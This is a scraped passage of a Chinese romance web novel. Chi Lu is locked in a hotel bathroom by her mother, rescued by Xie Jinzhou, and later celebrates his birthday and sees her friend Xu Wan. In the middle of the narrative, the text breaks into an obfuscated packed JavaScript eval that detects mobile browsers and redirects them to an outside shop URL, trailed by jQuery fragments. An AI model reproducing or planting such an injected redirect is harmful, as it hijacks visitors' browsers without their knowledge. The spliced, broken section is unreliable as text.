他们得知谢劲舟竟然成了知名导演新电影里的男二号,纷纷开始做起了白日梦。 “你们以为老子想当的啊。”谢劲舟为了陆程真这个角色,在背后付出了多少只有他知道。 他第一次知道,当演员没那么容易,是一门技术活儿,不仅气质、长相要跟角色符合,还要深入角色,挖到角色的内心世界,通过言行演出来。 谢劲舟聊得心不在焉,时不时看向门的位置,这么多人里,唯独少了一人——驰路。 他问罗子昂:“驰路呢?” “怪了,她给你操办的生日宴,怎么还没到!”罗子昂看了看时间,距离约定的七点已经过去了半个小时。 “她给我办的?”谢劲舟心中一惊,她什么时候给准备的? “是啊,她亲自选了这些生日礼品寄到这儿的,还让我喊了我们高中时的好哥们一起。”罗子昂说,“她说,你孤独太久了,想让你体会下热闹的滋味。” 她都不在,被再多的人祝福,谢劲舟依然觉得心里少了一块。 谢劲舟给驰路发信息,见她久久没回,便走出包厢,给她打电话,打了一通又一通,没人接。 会不会被路漫盯着?就算被路漫盯着,总还有接电话的权利吧。 给路漫打?但他没有路漫的电话。 轰隆雷声从天空滚过,眼见要下一场雨了。 …… 酒店的卫生间,四周黑漆漆的,没有窗户,透不进来一点光。 驰路的脑中顿时浮现出被老爸关小黑屋时的画面,老爸跟她说:“你好好在里面反省,要是不认错,就继续待着。” 千允之死,她不是罪魁祸首,她为什么要认错?她才是那个想救她的人,为什么没人相信她说的?就连她父母都相信新闻里报道的,觉得她是十恶不赦的杀人犯! 她被关了整整一夜,整晚整晚都会想起千允那张血肉模糊的脸,她不想睡,但困到不行想要睡时,千允的脸又浮现出来,怪她:“驰路,你怎么没能救救我!” 又浮现被关进精神病院的场景,她试图跟艾嘉逃离那个牢笼,却次次被抓回来,被关小黑屋。 现在,她又是一个人,在伸手不见五指的地方,她无力地靠着门,身体像失去了所有支撑,如同滑腻的鱼,滑坐在地。 没了敲门声,没了呼喊声,世界陷入死一般的沉寂。 她像一下子坠入地狱,想要抓住点什么,却什么都抓不住。 驰路的身体控制不住地颤抖,心脏也跳得厉害。 她不能坐以待毙,她还要去参加谢劲舟的生日宴。 六年了,第一次给他过生日,她不能缺席! 驰路摸着地,往前爬,像可怜求生的小猫。 爬到水池前,她扶着台面,颤颤巍巍地站起来,在台面上一阵摸索,啪的一声,有什么东西倒了,有东西从台面上滚落,直直地砸到她的脚背上,玻璃碎开,尖锐的碎片弹到她的脚背上、脚踝上。 她好像听到皮肤被碎片划开的声音,疼痛很快袭来,蔓延至心脏。 她连忙退后,另一只玻璃杯也从台面滚落,啪嗒碎开,碎片四溅。 弄倒的应该是装玻璃杯的置物架。 置物架!驰路连忙往前跑了一步,踩到了碎玻璃上。她穿的是薄薄的一次性拖鞋,碎玻璃几乎要扎到脚心,疼得她蹙眉。 她没去管疼痛,而是从台面上摸到了置物架。 为了避免再踩到碎玻璃,驰路往前跨了一步,没想到倒霉地再次被玻璃扎到,还扎在了刚才的地方,直接戳穿了鞋底,扎到了她的脚心,疼得她浑身打颤。 驰路弯腰,想拔掉碎玻璃,但很快停住了这样的做法,现在不能拔,拔掉之后会血流不止,她会死在这里! 她还不想死,她还要去见谢劲舟,去跟他说“舟哥,生日快乐啊”。 她踮起右脚,一瘸一拐地走到门边,摸到门把手,先是使劲拧了几下,发现丝毫打不开,只好高高举起置物架,朝门把手狠狠砸去。 一下,两下,每次落下,几乎都用了她全部的力气,声音刺耳得刮着她的耳膜。 手臂几乎都要散架,门把手还是没有一点松动的迹象。 “路漫,你这是非法囚禁,你知不知道!” “路漫,你打算一直这样关着我?” “路漫,你配当我妈吗!” …… 驰路一边砸一边发泄着自己的情绪,结果,置物架被砸弯了,她的手直接砸到了门把手上,被尖锐的一角戳伤,有血很快从掌心流出来。 她闻到了浓烈的血腥味,掌心受伤的地方也疼得厉害,她感到了一阵无力和绝望。 驰路狠狠地把置物架砸到地上,无力地背靠着门,身体一点点下滑。 谢劲舟的生日宴,看来是去不了了。 这世界有太多的虚假,谢劲舟才是她唯一的真实,她想用一颗真心,给予他一点热烈和滚烫,为什么都不能实现? 此时,正值夏日,她每次到房间,插上电卡,空调便会自动运转,但现在,在这个逼仄的黑暗空间里,密不透风,热浪滚滚,没有一点空气。 随着时间的流逝,驰路感到空气渐渐稀薄,热得浑身都被汗水浸湿,下午到现在没有吃一点东西,力气也几乎用尽。 偏偏外面还下起了暴雨,雷声一阵阵地滚过,震着她的耳膜,她如坠黑暗地狱。 驰路的身体禁不住地颤抖,捂住耳朵,试图躲过雷声、躲过这无尽的黑暗,却无济于事。 黑暗中,雷声被无限放大,她如同被禁锢在牢笼里的困兽,绑住了手脚,哪里都去不了。 “谢劲舟,你在哪里?”驰路低低地呢喃着,她的呼吸越来越急促,意识越来越模糊,汗水顺着湿了的头发滴落在长长的眼睫上。 …… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560827|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 谢劲舟放心不下驰路,跟罗子昂说了声,便去酒店找驰路。 刚出酒吧,雨点斜斜地落下,谢劲舟开着他的那辆破旧越野车在风雨中疾驰,雨刮刷来回刮着。 雨越下越大,雷电交错,眼前视线模糊,谢劲舟差点跟几辆车撞到,但丝毫没有放慢速度。 他戴着蓝牙耳机,还在拨打着驰路的电话,依然无人接听。 他一阵烦躁,空调温度又打低了几度,仍觉得闷热。 打开窗户,凉风袭来,雨水打进来,打湿了他的手臂,降低了他的一点燥意才关窗。 车开到酒店,谢劲舟一下车便把钥匙扔给了泊车小哥,让他帮忙停车。 他直奔电梯间,见电梯一直停留在八层,他不等了,爬楼梯,一口气爬到了十层。 谢劲舟跑向驰路的房间,一下下地敲门,没人回应。 “阿驰,阿驰!”谢劲舟开始喊她,依然没人回。 难道不在酒店?不会的,平时不是在片场就是在酒店,今天还要帮他庆生,她更不会去别的地方。 谢劲舟不得不去隔壁路漫的房间敲门。 过了好一会儿,路漫才开门,见是谢劲舟,神色不耐:“有什么事吗?” 谢劲舟一脸着急地问:“阿姨,驰路在你这儿吗?” “不在。”路漫神色淡然。 “你有她房间的房卡吗,我给她打电话打不通,怕她出事。” “她能有什么事。”不就是被锁房间不让她出去,还能出什么事。 “她最怕雷雨天了,你知道吗?” 路漫不信:“她胆子那么大,怎么可能怕雷雨天。” “行,我下去跟前台说明情况要房卡。”谢劲舟不想在路漫这儿浪费时间了,转身就走,他刚走了几步,听到路漫说:“别下去了,我把房卡给你。” …… 谢劲舟刷了房卡进去,没想到里面漆黑一片,为什么没有亮灯? 他摸到一侧的卡槽,把卡插进去,屋里才恢复光亮。 “阿驰,阿驰!”谢劲舟一遍遍喊着她的名字,却没人回应,他想冲进卧室找她,却听到路漫在他身后说:“在卫生间。” 卫生间?那个密闭的狭小的空间?还在这个雷雨天! 谢劲舟心里涌上一股怒火,一边拧把手一边质问路漫:“她为什么会在卫生间?” 门却打不开。 “我来。”路漫慢悠悠地从口袋里掏出钥匙,把反锁的门打开。 我艹!竟然把驰路锁在卫生间! 谢劲舟怒火中烧,脸色冷得能冻死人。 想要推开门,却推不开,谢劲舟只好用力往后推了推,推到可以容纳他侧身进去时,他挤了进去,看到眼前的一幕时,眉头紧紧地蹙起,心宛若被万千针刺中。 他的蝴蝶,像被人撕掉了翅膀,软弱无力地躺在地上,她的头发湿透了,黏糊糊地粘在脸上,脸上有血迹。 她面色苍白,毫无生机,像没了呼吸一样。 她的掌心也有血,有些干涸了。 她狼狈不堪,如同被人遗弃的小孩,破碎,可怜,又无助。 谢劲舟喊着她的名字。 驰路没有一点回应。 111. 被吻得方寸大乱 「夜色温柔,月光焕然一新。 我这只蝴蝶,也可以被人深深爱着。 你的怀抱,是我此生想要栖息的枝头。 Z,我爱你!」 ——《小蝴蝶的星光》 谢劲舟一把将她抱起来,用脚踢开门,路漫见状着实吓了一跳。 “阿姨,麻烦打下急救电话。”谢劲舟面色冷沉得厉害,努力压制住心头怒火。 “好……好……”路漫发出的每个音都是颤抖的,拿出手机的手也在抖着。 * 驰路醒来时,四周一片刺目的白,右手用白色纱布包扎着,左手正在挂吊水。 身边没有人,她这是在哪里? 在梦里吗?她还活着? “有人吗?”驰路刚发出声音,发现嗓子哑得厉害,只发出轻微的一点。 她看了看床头,有呼叫按钮,刚想按,听到了开门声,朝门口的方向看去,是谢劲舟。 谢劲舟刚出去接了通电话,跟顾辞山简单说了下驰路的情况,这几天她都去不了片场了,他今天也请了假陪她。 驰路看了看窗外,拉着纱帘,天光大亮,这是到第二天了? “我不是在做梦吧。”驰路看着谢劲舟。 谢劲舟走到床边,轻轻地弹了下她的脑门:“不是梦。” 驰路舒了口气,朝床头倒去:“我以为我死了。” “医生说了,再晚点送你来医院,你还真活不到现在。” “是吗?”驰路想到昨晚被关卫生间,无力感又袭了上来,“你救了我?” “嗯。”谢劲舟轻描淡写地说,其实,昨晚一路跟着救护车把她送往医院的路上,他的心被狠狠揪着,有很多话想问路漫,但他什么都没说,他怕吵醒驰路。 驰路倾身,环抱住谢劲舟:“舟哥,好遗憾,昨晚没给你送上生日祝福。” “没事,那是我阳历生日,10月初是我的农历生日,如果你想陪我过,我愿意奉陪。”谢劲舟说,“谢谢你为我准备的生日宴会,还有给《去看看太阳》作曲,旋律很好听。” “可惜,我没在现场听到。” “会有机会的。”谢劲舟问出心中疑问,“你怎么会有《去看看太阳》的歌词?” “六年前,我在你的衣橱里无意间发现了你的笔记本,看到了上面的歌词。最喜欢这首,怕忘了,就记下来了。”驰路坦言,“舟哥,凭你的实力,你可以去当词人了。” “就写着玩玩。”谢劲舟摸了摸她的脑袋。 “别摸,很脏。”昨晚被汗水浸湿的头发,此时黏糊糊地粘在头皮上。 “我不嫌弃。”谢劲舟宠溺地看她,“在我这里,你怎样都好。” 怎样都是最美的那只蝴蝶。 这时,门被打开,驰路朝门的方向看去,路漫来了,看起来有些憔悴。 驰路看到路漫心里就堵得慌,没有松开谢劲舟,只看了路漫一眼,冷冷道:“妈,你现在能不能出去,我不想见到你。” “阿驰,妈……”路漫完全没了平日里的傲然,高嗓门也被压了下去。 “你别说了,我什么都不想听!”驰路捂住耳朵。 如果不是路漫,她会住院吗? 如果不是谢劲舟及时找到她,她现在早就成冰冷的尸体了吧。 她知道路漫做事不达目的不罢休,但把她锁起来这种事,已经超出了她所能接受的范畴,无法原谅! 路漫看了看谢劲舟,欲言又止。 谢劲舟识趣,捏了捏她的手心:“我先出去。” 他想松开她的手,却被她握住。 他在她的手背上轻轻拍了拍,像哄孩子似的说:“我不会走,我在外面等你。” 驰路这才放他走。 路漫看到驰路露出来的右脚心裹着纱布、吊着水的样子,终于激起了她难得的母爱,她走到床边:“阿驰,这次是妈不好,你原谅妈妈,好吗?” 驰路难以相信路漫竟然在自己面前服软,她抬头看路漫:“妈,原谅你也不是不可以,这次是谢劲舟救了我,如果不是他,我就被你害死了!你知道吧。还请你以后不要阻止我们在一起,能做到吗?” 路漫沉默了,半晌说:“饿了吧,妈去给你买点吃的。” “你要是不同意,就别见我!” “驰路!”路漫的耐心被磨掉了,露出本来面目,“是谢劲舟救了你没错,但这也不能成为我接受你们在一起的理由。” “什么豪门,什么有钱人,比救我命的人还重要吗?”驰路嗤笑,“妈,谢劲舟都做到这种份上了,你还要怎样!” “我只是希望你幸福。”路漫表现得很无辜,也很无奈。 “是,你的幸福,就是把我非法拘禁,是吗!”驰路理解的幸福不是像路漫这样,硬生生要拆散两个相爱的人,更不是将她锁进卫生间! “随你怎么想。”路漫气得转身离开,门被砰地关上。 * 等输完液,驰路缠着谢劲舟让她出院:“你看,我现在好得很,就一点皮外伤,没事。” 架不住驰路的多次说服,谢劲舟去给她办了出院手续,她的右脚心受着伤,走路时,只能一颠一颠地往前走,像一只左右摇摆的小企鹅。 谢劲舟在后面看着,觉得可爱,不禁暗笑。 驰路一扭头就看到了他在笑:“笑什么,还不过来扶我!” “外面人多,不合适吧。”谢劲舟说。 “……”谢劲舟,你这是故意的吧! 出院前,谢劲舟特意出去给她买了墨镜、鸭舌帽、口罩,她现在可是全副武装,就连他,也是该戴的都戴了,任谁应该都看不出他俩是谁了吧。 路漫跟在两人的身旁,面无表情,驰路觉得她有些不对劲,身上没了在病房里的那种愧疚感,也没了怒气,大概是情绪平复了吧。 谢劲舟不知是看她走路太费劲,还是良心发现,她没走几步,他便上前过来当她的拐杖。 驰路搀着他的胳膊,时不时感到周围投来目光,也许他们觉得这两人奇怪得很吧,大夏天的,包裹得这么严实,还黏黏糊糊地靠在一起。 驰路不在乎,靠近神明,便能抵抗这世间的所有风暴。 输液时,她跟谢劲舟说:“男朋友,谢谢你救了我!” 谢劲舟只轻描淡写地说:“女朋友,我们之间,不用说谢,你没事就好。” 其实,当他看到驰路躺在地上时,心疼得要命,那种强烈的害怕失去的感觉将他裹挟着,如潮水奔涌而来。 谁都没有注意到,他搂着驰路腰的手几乎把她半提起,她只需要跟着他的步调往前走。 他为她承受了身体一部分的重量,她走路没那么费力了。 这样的姿势一直持续到走到医院门外,驰路问他:“舟哥,你一直这样,不累吗?” 谢劲舟提起她的腰,又往上提了点,顺手掐了掐她的腰,勾唇:“搂着我的宝贝,怎么会累。” …… 司机已在医院外面等着,谢劲舟帮驰路打开车门,想要往前走时,被驰路叫住,拍了拍旁边的座位:“你坐这里。” 她才不想跟路漫坐一起! 路漫却坐到了她身旁。 “你坐副驾,我现在不想跟你说话。” “我答应你。” “你说什么?” “我答应你,从现在开始,不干涉你跟谢劲舟交往。” 驰路震惊,不知道路漫又在计谋着什么,怎么不干涉自己跟谢劲舟交往了? 她并没有想到路漫会很快想通,按照她的性子,不得想至少一百零八种方法阻止他们。 “为什么?” “你不是要幸福吗,妈妈成全你们。”路漫摘下墨镜,牵住驰路的手,“你是不是也可以原谅妈妈了?” 这是路漫的缓兵之计吧?不想让她们的关系太僵? “但你们不能在公开场合有任何亲密举动,不能被人发现你俩的恋情,知道吗?”路漫叮嘱。 “好。” …… 到了酒店,房间已被工作人员收拾干净,卫生间也恢复原样,就连敲磨损的门把手都已经换了,昨晚的事,仿佛没有发生过。 驰路搂住谢劲舟的脖颈,吻他凸起的喉结,再一点点往上,吻他的下巴,再往上亲,偏偏不亲他的唇,像一个撩人的小妖精。 她仰头看着谢劲舟,妩媚的狐狸眼里泛着光:“你听到我妈说的吗?” “嗯。”谢劲舟表现得很平静。 “怎么还是这副表情,不开心吗?”驰路用食指撑开他的唇角,让他做出笑唇的样子。 “非要这样,才能表现得开心吗。”谢劲舟用他的手掌托住她的后脑勺,把她压在墙上,凶狠地吻她。 她嘴巴里还有喝过白桃味汽水的清甜,他一遍遍地吮吸。 他边吻边脱她宽松的衬衫外套,留下里面紧身的针织吊带。 两人的肌肤渐渐滚烫,如火燎原。 在火焰即将越烧越旺时,外面传来敲门声。 “有人。”驰路想推开谢劲舟,却被他紧紧搂着,衔着她的舌,轻声说:“这样的开心,还不够!” “好了,够了。”驰路趁机从他唇间退出来,亲了亲他的脸颊,“我信你。” “来了。”驰路边说边赶紧套上衬衫外套,往门边走。 她先看了看猫眼,见是周柏屿,才开门:“周老师,请问有什么事吗?” “听说你出院了,过来看看你。”周柏屿礼貌地站在门外,举起手里的果篮和花束。 驰路住院的消息,剧组里没几人知道,不是什么好事,她不想声张。 周柏屿是怎么知道她出院的?难道是小苏说的? 小苏啊小苏,你怕不是什么间谍吧! 谢劲舟在屋里,驰路没法让周柏屿进来,只好稍稍探出身子,接过果篮和花束,还想跟周柏屿说什么,忽然,有人摸上了她的后背,弄得她有些痒,她努力克制住。 谢劲舟,你折腾人,还真不分时候! “周老师,谢谢你送的礼物,我想休息休息,下次请你吃饭。”驰路忙着赶人,因为谢劲舟的手不安分地在她后背上挠着,痒意一阵阵袭来,但她偏偏还什么都做不了。 “好。”周柏屿没想太多,“你休息吧。” 他刚转身,又扭头跟驰路说:“看到昨晚的热搜了,驰老师,你还在上升期,取舍还是很重要的。” 周柏屿没有明说,但驰路哪里听不出他的言外之意,就差把“驰老师,你赶紧跟谢劲舟分了,要不然会影响你的事业”写在脸上。 驰路也就听听,并未放在心上,礼貌地跟周柏屿说:“谢谢周老师的提醒。” 周老师,你什么时候说不好,非要当着当事人在的时候说! 周柏屿刚转身,门还没关,驰路的衬衫被人从肩头拉下,肩膀被人狠狠地咬了一口,疼得她倒抽一口气。 她关上门,把手中的礼物放到地上,瞪着谢劲舟:“谢劲舟,你狗啊,干吗咬人!” 谢劲舟一把将她揽入怀里,让他靠着自己:“周老师说的你怎么认为?” 驰路恍然,狗狗吃醋了啊! “怎么,吃醋了?”驰路逗他,“我怎么想,还不是要看你表现。” “你是我的了,哪里都不许去!”谢劲舟把地上的花扔到一旁的垃圾桶里,抱住她,将脑袋埋在她的颈窝里,像只需要被人顺毛的金毛,来回蹭着,最后在她的脖颈上又咬了一口,落下浅 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驰路弯腰,打开床头柜下面的柜子,见东西还在,不由得松了口气,她以为可能昨晚已经被路漫收走了,还好,她还有点良心。 “给,谢老师,生日快乐!”驰路将包得很好的礼物递给谢劲舟。 “行,谢老师,是吧,”谢劲舟接过礼物,“谢谢驰老师。” 两人没了方才缠绵悱恻时喊彼此“舟哥”“驰宝”的那股亲密劲儿,但这种称呼上的刻意反倒多了别样的情趣。 谢劲舟看着用深蓝色丝绒绸带包装得很好的礼物,刚要解开蝴蝶结,却被驰路抓住了手。 “猜猜是什么。” “你的爱。” “……”驰路忍不住笑,“什么!能不能好好猜猜。” “猜不到。”谢劲舟懒得去猜,这么大的东西,可以装很多很多,他怎么猜,一把解开蝴蝶结,露出礼物的全貌。 “这是?”谢劲舟看着玻璃罩里的紫色桔梗花,“不会是你剪的自己种的那几棵?” 驰路点点头,为了准备谢劲舟的生日礼物,她想了快一个月,在某淘上搜了不少送男朋友的生日礼物,看得眼花缭乱,无从选择。 最后问她的安然军师:送男朋友什么礼物好? 安然军师指出,当然是亲手做的最好,最有温度,最能表真心。 驰路问:你用这种方法,成功追到过人吗。 安然军师给她发过去一条语音:“人啊,我是没追到,但上次我去参加同学聚会,你知道这个男生怎么说吗,他说,你就是那个送过我手工钥匙扣的女生吧。” 驰路没有点破,人家都忘记你的名字了,你只成了别人口中“送过我手工钥匙扣的女生吧”,真是往事随风远去,凄凄惨惨戚戚。 安然军师算是给驰路提供了一条新思路:礼物也是可以亲自准备的。 要准备什么? 她想了至少有五十个备选,最后选了这个,为他准备永不凋谢的洋桔梗干花。 干花,其实很好买,也不贵。 不过,驰路选择了最难的,她亲自去花卉市场选了几盆待开的洋桔梗,等花一开,她就剪了放在阳台上晾晒,遇到过几次下雨天,晾晒的洋桔梗都被雨打湿了,也等不来开下一波花,只好再去花卉市场买。 现在在玻璃罩里的洋桔梗干花得来不易,躲过了雨天,经过了太阳的晾晒,不仅保留了它们最美的样子,也散发出它们特有的芳香。 洋桔梗被白色包装纸包住,用绸带扎上,四周还缠绕了灯。 驰路按下开关,灯亮起,洒下黄色光晕,照得玻璃罩里的洋桔梗如梦似幻。 随着响起的还有好听的旋律。 谢劲舟仔细地听着,最后得出一个结论:“这旋律没听过。” “好听吗?”驰路跨坐到谢劲舟身上。 “嗯。”谢劲舟单手掐着她纤细的腰肢,还在她的肌肤上轻轻地挠。 “专门写给你的。”驰路被他挠得一阵痒,想躲开他的魔爪,却被他勾住腰,紧紧贴住他紧实的胸膛。 “找人写的?”谢劲舟继续捉弄她。 “这事,当然要亲力亲为。”驰路边躲边微微嗔怪,“舟哥,别闹了。” “驰宝,还没够!”谢劲舟把礼物放到一旁,另一只手托住她的后脑勺,骨节分明的手指插/入她的发间,低头用力地吻她的嘴唇,“谢谢你,阿驰。” “生日快乐……舟哥……”驰路的唇间全是他的气息,几乎尽数被他夺去。 她被他吻得神魂颠倒、气息不稳,快要无法呼吸时,将他推开。 驰路缓了几秒,抚上他右脑勺的那道“X”,眉眼弯起,声音柔和:“六朵洋桔梗,代表我们缺失的六年时光。如果拆开算的话,每年对你都有16.6%的想念,到今年,就满了。” “每年才16.6%?”谢劲舟挑眉,“知道我对你的想念有多少吗?” “说来听听。”驰路把耳朵凑过去,做出认真倾听状。 “驰宝,这六年,我从没走出有你的夏天。” 驰路心弦一动,亲他一口:“我爱你,舟哥!” 她想往后退,却被谢劲舟揽住腰,身体紧紧贴着他的,他吻得来势汹汹,边吻边说:“驰宝,我爱你!” 驰路被吻得方寸大乱、心跳加速,趁着喘息之际,断断续续地说:“舟哥……世界吵得要命,我只会对你敞开心扉。” 谢劲舟摩挲着她的耳廓,与她唇舌交缠:“很好,我的小姑娘长大了。” 驰路不甘示弱地勾住他的舌,口齿不清地回:“不错,我的浪子回头了。” 112. 为爱砸破头 「每个人都有伤口,我也有。 就让我独自承受。 我的宝贝,你该快乐!」 ——《小船靠岸》 正在两人又要陷入下一轮缠绵时,驰路的手机持续地震动了,她推开埋在她颈窝里的谢劲舟:“等等,我接个电话。” 谢劲舟从她颈窝里抬头,这谁啊,怎么这时候打电话! 他皱了皱眉,但人并没有从驰路身上挪开,像只粘人的小狗狗,挂在驰路身上。 要是被罗子昂看到这一幕,一定会惊掉下巴。 他们的老大,竟然有如此粘人的一面,实属天下奇观。 驰路接电话时,谢劲舟一点儿都不安分,她的脖颈间全是他滚烫的气息,他的唇还来回在她脖子上、锁骨上蹭,弄得她一阵痒,只想笑,想推开他,他却一次又一次卷土重来。 驰路挂了电话,一把推开他,故作生气状:“谢劲舟,你故意的,是不是?” “我亲我的宝贝,有什么错吗?”谢劲舟摊手,神色格外无辜。 算了算了,不跟他计较了。 驰路穿上白色衬衫,把纽扣都系好,下了床。还没习惯右脚受伤,一脚踩下去,疼得皱眉。 “阿驰,你要去哪里?”谢劲舟连忙下去搀她。 “过来一起看。”一听就知道,刚他根本就没注意听电话,光逗她玩了。 他们走到窗前,驰路拉开纱帘,指着楼下:“看到了吗?” 从十层楼往下看,只看到下面有一抹醒目的红白色,但谢劲舟还是一眼辨别出了那是一辆摩托车。 “不就是一辆摩托车吗。”谢劲舟只看了一眼,转身就想走,被驰路拽住:“你去哪儿,这是送你的,全球限量版,只有三台。” 谢劲舟脚步一顿,脸上露出复杂的神色,眉头紧紧蹙起。 “舟哥,我们下去看看。” “不去。” 驰路松开他的手,一颠一颠地往沙发那儿走,先给楼下的人打了通电话,让对方把车先停好,继而看向谢劲舟,面色不悦:“谢劲舟,你把我当你女朋友吗?” “这跟你是不是我女朋友,有什么关系?” “如果你当我是你女朋友,是不是应该对我坦诚相待?”驰路压住心头的不满,“为什么不骑摩托车了?” 这台限量版摩托车,她预定了一个月,好多人想买,最后她出了比售价高三倍的价格才拿下。那时,她还不知道谢劲舟已经不开摩托车了,等知道了,她也不想退了。 “你别问了行不行。”谢劲舟露出烦躁和不耐,这事,是他不想翻开的篇章,自己不想翻开,更不希望别人翻开。 驰路见他这样,知道从他这里是找不到答案了,也不逼他,语气放柔:“好,舟哥,等你想说的时候再说。” 阿驰,你等不到那天的。 谢劲舟离开驰路房间时,跟她说:“阿驰,把摩托车退了吧,我不需要了。” * 就在驰路一个人憋着气、待着贼没劲的时候,许婉终于有时间来找她了。 “婉婉,终于等到你了!”驰路一开门,抱住许婉。 “我的驰大明星,抱够了吗。”许婉也用力回抱她,“回屋吧,别被哪个有心之人拍到,还以为我俩有着不正当的关系。” “你那急诊科有那么忙吗,我都来这儿两个月了,你都没时间过来。”许婉上了五年医科大学,毕业后在青宜市急诊科上班,刚工作一年,现在还是一线的值班医师。 “急诊科,当然忙了,你不知道下一秒会接到什么急活儿。”许婉看驰路走路一拐一拐的,“你腿怎么啦?” 驰路受伤住院的事没有告诉许婉,许婉能在今天抽空过来看她,纯属意料之外。 “就拍戏时不小心受了点伤。”驰路随口扯了个谎,她并不想让许婉操心,也不想将自己不为人知的一面告诉她。 她知道,这世上,很少有人会成为你避风的港口,说说得来的安慰,总会轻易飘散。 “严重吗?”许婉搀着她往沙发那儿走去。 “没多大的事,只是皮外伤。”伤口不大,却有些深,碰到什么都会疼。 许婉给她带来了一份礼物:“知道你是大明星,什么都不缺,但这是本地很火的一家甜品店,我排了一个小时的队,给你买了你爱吃的白桃味的小蛋糕,还有其他的一些低脂面包。” “谢谢婉婉。”驰路平时对于饮食非常注意,高糖高碳水的都会控制,今天没吃高糖食物,她拿出蛋糕,边吃边跟许婉聊彼此的近况。 “甜品只是开胃菜哦!”许婉从身后又拿出一个大袋子,“这是我每年去旅游时给你买的礼物,每次想寄给你,但都觉得就这么点小玩意儿寄给你,好像不太好。这是攒了六年的,一共六个,送给我的驰大明星!” “谢谢你,婉婉!”驰路的心一下子破防,仿佛被拉入满是阳光的地带,被暖烘烘的光照着,又温暖又舒服。 她为自己刚才脚受伤撒的谎感到惭愧。 她的婉婉,对人还是一如既往的真诚,是真的真的很在意她。 “婉婉,下次我给你补礼物。”驰路接过袋子,捧在手心,沉甸甸的。 “没事,你成大明星了没有嫌弃我这个旧故人,我就心满意足啦!”许婉笑着说。 “什么大明星不大明星的,我们都一样,都是平等的。”驰路将袋子放到一旁,给许婉又添了点茶。 许婉喝了口茶说:“恭喜你跟舟哥重归于好啊!昨晚没去参加舟哥的生日宴,但我看到罗子昂发在群里的照片里,大家都玩得很嗨,不过,怎么没看到你?” “他应该没发吧。”驰路不想让许婉担心,转移话题,“婉婉,你跟程佑白怎么样了?” “没等到高考,我就知道了他要出国的消息。”许婉面露黯然,“所以……” 她没有说出口的话,驰路已经知道了结局。 不是人人都能得偿所愿。 程佑白,是许婉的白月光,也是她的心头伤。 驰路知趣地没再问,安慰道:“婉婉,只能说你们没缘分。你尽力了,就好了。” “没事啦。”许婉嘴上说着没事,但她知道,以后应该再没一个男生能入得了她的眼,只因她喜欢的少年太过耀眼。 两人寒暄好一会儿后,驰路问许婉:“婉婉,你知道舟哥为什么不骑摩托车了吗?” “这个……”许婉细细一想,高三那年,自驰路离开没几个月,谢劲舟确实不骑摩托车了,至于为什么,她还真不知道,那会儿她一心扑在学业上,两耳不闻窗外事。 “我不知道,”许婉不解,“舟哥之前那么爱玩摩托车,怎么会不骑呢?要不你问问看罗子昂。” …… 今天是工作日,许婉上夜班,下午五点要去上班,她在驰路这儿待了不到两个小时便匆匆走了。 驰路本来要送她到电梯口,奈何许婉不让她送,说她还是个病人,就不用送了,下次有空再来找她。 电梯门开了,许婉刚想迈腿,见眼前人是谢劲舟,便收住了脚步,抬手跟他打招呼:“舟哥,好久不见。” “你是……”毕业后,他们就没见过面,每年的同学聚会,许婉偶尔去,谢劲舟是每年都不去,六年没见,许婉不再是当年那个穿着校服的活力满满的女生了,她长开了,也变成熟了些,穿着一条黄底小雏菊连衣裙,衬得皮肤很白,比之前更漂亮了。 “舟哥,你难道不认识我了?!”许婉大为震惊,就算六年没见,但她还会时不时发朋友圈啊,难道?“你不会一次都没看过我的朋友圈吧!” 谢劲舟想起来了:“许婉,好久不见。” 她的朋友圈,还真是好久没去看了,生活将他压弯了腰,他根本无心去看别人的生活,尤其是朋友圈,那里基本是别人炫富、炫美好的地方,他不想看,看了糟心。 “舟哥,要对我们家阿驰好,不准欺负她!” “放心,我家的小蝴蝶,我会把她宠上天!”谢劲舟勾唇,说得痞里痞气,又说得郑重其事。 “……”喔?这是被塞了一嘴狗粮啊! 许婉笑道:“那我就放心了,有机会再见。” 许婉走进电梯,朝他挥手。 出于礼貌,等关了电梯门,谢劲舟才去找驰路。 他给驰路带了点低脂素食,驰路刚吃过甜品,没什么胃口。 谢劲舟吃饭时,她把许婉带过来的礼物一一拆开。 一个蝴蝶冰箱贴,一枚蝴蝶耳挂,一件印有蝴蝶花纹的T恤,一枚蓝色燕尾蝶胸针,一个菩提手串。 每个礼物都附有一张贺卡,每张贺卡上分别写着: 阿驰,我看到这个蝴蝶冰箱贴,想起了你,想着有一天,你把它贴在冰箱上,应该还不错。 阿驰,我常常想起戴蝴蝶耳挂的你,那样的你,真的好美好美,你是我见过的最美的女生。这枚耳挂应该适合你。 阿驰,我看到可以DIYT恤,我给程佑白做了一件,也给你做了一件,不知道这两件能不能送到你俩手上。 阿驰,我逛到天快黑了,看到一家卖胸针的小店,橱窗里展示着一枚燕尾蝶胸针,很闪很亮,也很漂亮,我买来送给你,跟你应该会很配吧! 阿驰,你现在越来越厉害了,成大明星了,不知道还会不会认我。但不管你认不认我,我都会为你祈福、为你许愿,许一个“祝你平安喜乐、事事顺遂、永远走花路”的愿。 驰路看得心头泛酸,她以为自己是被世界遗忘的那个人,原来,这世上除了她的神明,还有另一个人,默默地对她好。 “驰宝,你怎么哭了?”谢劲舟听到了驰路的抽噎声,见她脸上挂着泪痕,连忙放下筷子,走到她身边,将她抱在怀里,轻轻地拍着她的背。 “舟哥,我是值得被爱的。”驰路的声音有些哽咽,泪水沾湿了谢劲舟的衣服。 “我的宝贝,当然值得被爱!”谢劲舟像哄孩子似的,沿着她的脊背,一下下往下顺着,撸猫似的。 * 这天,路漫都没过来找驰路,让驰路有些不习惯,问谢劲舟:“舟哥,你说我妈为什么同意我们在一起?” “毕竟你是她的女儿,不想跟你闹僵。” 这样最好,她好像看见了曙光。 晚上谢劲舟哪儿都没去,陪着驰路,第二天谢劲舟去剧组拍戏,驰路给罗子昂发了条信息,问他在哪里,看能不能见一面。 罗子昂立刻把地址发给了她,竟是医院。 